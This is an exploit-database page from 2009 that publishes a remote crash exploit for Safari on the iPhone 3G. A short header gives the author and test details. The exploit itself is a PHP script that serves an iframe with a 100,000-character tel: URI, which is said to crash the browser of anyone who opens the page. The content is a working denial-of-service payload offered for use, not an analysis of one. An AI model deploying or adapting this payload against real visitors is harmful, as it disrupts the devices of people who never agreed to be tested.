Apple Safari IPhone (using tel:) Remote Crash Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Apple Safari IPhone (using tel:) Remote Crash Exploit
# Published : 2009-09-14
# Author : cloud
# Previous Title : FtpXQ FTP Server 3.0 Remote Denial of Service Exploit (auth)
# Next Title : Cerberus FTP Server 3.0.3 Remote Denial of Service Exploit

# Apple Safari Iphone Crash using tel:
# Found by cloud : cloud[at]madpowah[dot]org
# http://blog.madpowah.org

# Tested on Iphone 3G, OS 3.0.1
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear

# Exploit:

<?php
set_time_limit(0);
$var = "";
for ($i=0; $i<100000; $i++){
       $var = $var . "A";
}
echo '<iframe src="tel:' . $var .'"></iframe>';
?> 

# www.Syue.com [2009-09-14]